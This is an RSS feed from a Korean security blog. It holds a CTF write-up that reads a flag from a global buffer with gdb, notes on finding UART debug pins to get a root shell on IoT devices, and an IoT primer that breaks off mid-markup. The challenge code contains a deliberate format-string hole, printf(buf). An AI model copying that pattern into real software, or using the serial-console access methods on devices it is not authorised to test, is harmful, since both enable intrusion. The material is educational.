<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Tyrellcode</title>
    <link>https://tyrell96.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Wed, 8 Apr 2026 18:22:14 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>Mr.robot 2</managingEditor>
    <item>
      <title>[Embedded hacking] Read BSS memory</title>
      <link>https://tyrell96.tistory.com/102</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;대략적인 구성이 이렇게 되어있고 a.out 이라는 실행파일이 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;610&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bif5o7/dJMcac9jQWa/41kaWNrCfT8dr2H0NrFzpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bif5o7/dJMcac9jQWa/41kaWNrCfT8dr2H0NrFzpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bif5o7/dJMcac9jQWa/41kaWNrCfT8dr2H0NrFzpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbif5o7%2FdJMcac9jQWa%2F41kaWNrCfT8dr2H0NrFzpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;610&quot; height=&quot;181&quot; data-origin-width=&quot;610&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;a.out 를 열어보면 'Can you read the flag?' 라는 문구를 출력하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Falg value address 주소 값을 반환하는데 이건 여러번 실행해도 같은 주소값을 반환한다.&lt;/p&gt;
&lt;pre id=&quot;code_1763872566791&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;

#define FLAG_PATH &quot;./flag&quot;
#define FLAG_SIZE 0x40

void alarm_handler() { exit(-1); }

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

char flag_buf[FLAG_SIZE];

void read_flag() {
    int fd = open(FLAG_PATH, O_RDONLY);
    if (fd &amp;lt; 0) {
        perror(&quot;open&quot;);
        exit(1);
    }

    ssize_t r = read(fd, flag_buf, FLAG_SIZE - 1);
    if (r &amp;lt; 0) {
        perror(&quot;read&quot;);
        close(fd);
        exit(1);
    }

    flag_buf[r] = '\0';
    close(fd);
}

int main() {
    initialize();

    char buf[1024];
    memset(buf,0x0,1024);

    read_flag();

    printf(&quot;Can you read the flag?\n&quot;);
    printf(&quot;Flag value address : %p\n&quot;,flag_buf);
    printf(&quot;Please answer this question (YES/NO) : &quot;);

    read(0, buf, 1024);

    printf(&quot;Your opinion: &quot;);
    printf(buf);

    
    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 메모리 주소값을 반환한다는 것은 어떤 의미를 가질까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 전역변수라는 것이다. 지역변수의 경우 각 함수 내에서 변수값을 가져오기 때문에 함수가 실행되는 시점에 따라 변소 주소값이 변환된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그에 반해 전역변수는 어느 함수든 같은 위치에 있는 값을 가져와야 데이터 혼선이 없기 때문에 실행 시 항상 동일한 위치에 정해지게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 전역 변수 선언이 바로 char flag_buf[FLAG_SIZE]; 이곳이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이제 메모리 주소값을 알기 때문에 큰 문제없이 접근이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자는 gdb를 이용하여 해당 변수에 접근하겠다.&lt;/p&gt;
&lt;pre id=&quot;code_1763874385329&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# main 우선 브레이크 포인트 걸기
(gdb) b main
# 프로그램 실행 시 main 첫 부분에 브레이크
(gdb) r
# main 내 read_flag()함수가 있기 때문에 해당 부분까지 실행해야 로딩
(gdb) n
# flag_buf의 메모리 주소 확인
(gdb) p &amp;amp;flag_buf
# 메모리 내 값 확인
(gdb) x/s &amp;amp;flag_buf&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;865&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnK8Ll/dJMcagcRtjG/C7r7JsYHoRFoUsQIAvXWV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnK8Ll/dJMcagcRtjG/C7r7JsYHoRFoUsQIAvXWV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnK8Ll/dJMcagcRtjG/C7r7JsYHoRFoUsQIAvXWV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnK8Ll%2FdJMcagcRtjG%2FC7r7JsYHoRFoUsQIAvXWV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;865&quot; height=&quot;572&quot; data-origin-width=&quot;865&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 결과 FLAG{fIrst_M3Mory_re4D1}라는 값을 추출에 성공함&lt;/p&gt;</description>
      <category>Pwnable/CTF</category>
      <author>Mr.robot 2</author>
      <guid isPermaLink="true">https://tyrell96.tistory.com/102</guid>
      <comments>https://tyrell96.tistory.com/102#entry102comment</comments>
      <pubDate>Sun, 23 Nov 2025 14:08:52 +0900</pubDate>
    </item>
    <item>
      <title>Hardware 분석</title>
      <link>https://tyrell96.tistory.com/101</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Locating debug interface&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;UART&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #001d35;&quot;&gt;Oscillator&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;MCU/SoC&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;JTAG&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Flash memory &lt;span style=&quot;color: #000000;&quot;&gt;=&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;Datasheet&lt;/span&gt; &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;575&quot; data-origin-height=&quot;482&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zWuy3/dJMcagRoKbq/F3ttHJ234aUQX28MZankmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zWuy3/dJMcagRoKbq/F3ttHJ234aUQX28MZankmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zWuy3/dJMcagRoKbq/F3ttHJ234aUQX28MZankmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzWuy3%2FdJMcagRoKbq%2FF3ttHJ234aUQX28MZankmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;414&quot; height=&quot;482&quot; data-origin-width=&quot;575&quot; data-origin-height=&quot;482&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;UART (Universal Asynchronous Receiver-Transmitter)&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;두 장비 사이 비동기 직렬 통신 지원 (IoT &amp;lt;-&amp;gt; Computer, IoT &amp;lt;-&amp;gt; IoT)&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;baud rates라고 하는 비동기 통신 속도 존재 &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;(300, 600, 1200, 2400, 4800, &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;9600&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;, 19200, 38400, 57600, &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;115200&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;, 230400, 460800, 921600)&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;대부분의 IoT 장비에 존재하며 보통 3개의 pin을 사용&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: circle; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;GND(Ground) : Signal 접지&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: circle; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;RX : reciver&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: circle; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;TX : trasmitter&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: circle; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;VCC : voltage&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분의 Embedded/IoT 장비에서는 serical console이 존재하기 때문에 uart를 통해 접근하여 shell 획득이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Root shel 까지 접근 가능시&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: circle; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Firmware/file-system 획득 가능&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: circle; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Bootloader 접근 가능&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: circle; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;동적 디버깅 가능&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Serial console 접근이 힘든 케이스 &lt;/span&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;제조사에서 serial console을 비활성화 해놓는 경우&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;serial console의 로그인 계정 및 비밀번호가 필요한 경우 &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;rarr;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Reversing&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;sandbox가 존재하는 경우 &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;rarr;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;sandbox escape&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Anti UART 기능이 존재하는 경우 (physical) &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;rarr; &lt;b&gt;전기회로 조작&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;span style=&quot;color: #000000;&quot;&gt;Read only console인 경&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;우&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;rarr;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;boot log, crash&lt;/span&gt;&lt;/b&gt; &lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;UART&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;총 4개의 핀이 존재합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- GND,VCC,RX, TX&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구분 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GND : 접지 여부만 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VCC : 3.3V 여부 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RX : 전송부이기 때문에 아무런 작업안하면 0V가 나와야함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TX : 수신부는 데이터 전송때문에 가변 전압이 계속 나와야함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Connect to UART with UART converter and PC&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Device RX &amp;larr;&amp;rarr; UART Converter TX&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Device TX &amp;larr;&amp;rarr; UART Converter RX&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Device GND &amp;larr;&amp;rarr; UART Converter GND&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;RX와 TX는 반대로 연결해야 수신부 통신부가 정상적으로 통신된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xbFQ5/dJMcain835B/9cVjqrmWtKJkKsWNS2l37K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xbFQ5/dJMcain835B/9cVjqrmWtKJkKsWNS2l37K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xbFQ5/dJMcain835B/9cVjqrmWtKJkKsWNS2l37K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxbFQ5%2FdJMcain835B%2F9cVjqrmWtKJkKsWNS2l37K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;834&quot; height=&quot;246&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Serial console 접속&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1763102531415&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# tty명 확인
ls /dev/tty*
#tty 접근 방법
screen /dev/tty.usbserial -0001 115200&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;</description>
      <category>Pwnable/Ananlysis</category>
      <author>Mr.robot 2</author>
      <guid isPermaLink="true">https://tyrell96.tistory.com/101</guid>
      <comments>https://tyrell96.tistory.com/101#entry101comment</comments>
      <pubDate>Fri, 14 Nov 2025 15:42:49 +0900</pubDate>
    </item>
    <item>
      <title>Embedded &amp;amp; IoT device hacking</title>
      <link>https://tyrell96.tistory.com/100</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Embedded device&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;특정한 단일 목적을 수행하는 기계 또는 시스템&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;인터넷이 반드시 필요하지는 않음&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Ex. RC카, 복사기, 세탁기&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;240&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UEanI/dJMcaajls3c/Xk3I2h2LnGlYfFIGqtKrBk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UEanI/dJMcaajls3c/Xk3I2h2LnGlYfFIGqtKrBk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UEanI/dJMcaajls3c/Xk3I2h2LnGlYfFIGqtKrBk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUEanI%2FdJMcaajls3c%2FXk3I2h2LnGlYfFIGqtKrBk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;420&quot; height=&quot;240&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;240&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;IoT (Internet of Things)&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Embedded device + Internet&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;현재 대부분의 하드웨어는 IoT로 분류됨&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Ex. 휴대폰, CCTV, 인터넷에 연결되는 모든 디바이스&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt; &lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;272&quot; data-origin-height=&quot;240&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o5ROc/dJMcahCLTdM/KLMluRG6zPtJd5iqLAakQ1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o5ROc/dJMcahCLTdM/KLMluRG6zPtJd5iqLAakQ1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o5ROc/dJMcahCLTdM/KLMluRG6zPtJd5iqLAakQ1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo5ROc%2FdJMcahCLTdM%2FKLMluRG6zPtJd5iqLAakQ1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;272&quot; height=&quot;240&quot; data-origin-width=&quot;272&quot; data-origin-height=&quot;240&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Microprocessor&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;단일 프로세스 칩으로만 이루어진 경우&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;RAM/ROM, Flash, I/O port 별도 연결 필요&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;주로 PC나 노트북에 사용&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Ex. Intel x86, AMD Ryzen 등&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DvIx0/dJMcaawSAWG/XsBkdiYdvianZo2bHC6RN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DvIx0/dJMcaawSAWG/XsBkdiYdvianZo2bHC6RN0/img.png&quot; data-origin-width=&quot;624&quot; data-origin-height=&quot;511&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.4286%; margin-right: 10px;&quot; data-widthpercent=&quot;51.02&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DvIx0/dJMcaawSAWG/XsBkdiYdvianZo2bHC6RN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDvIx0%2FdJMcaawSAWG%2FXsBkdiYdvianZo2bHC6RN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;624&quot; height=&quot;511&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qvs8L/dJMcafZf5n9/b3HD4xw1KMAanDK2Z5DOTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qvs8L/dJMcafZf5n9/b3HD4xw1KMAanDK2Z5DOTk/img.png&quot; data-origin-width=&quot;422&quot; data-origin-height=&quot;360&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;48.98&quot; style=&quot;width: 48.4086%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qvs8L/dJMcafZf5n9/b3HD4xw1KMAanDK2Z5DOTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqvs8L%2FdJMcafZf5n9%2Fb3HD4xw1KMAanDK2Z5DOTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 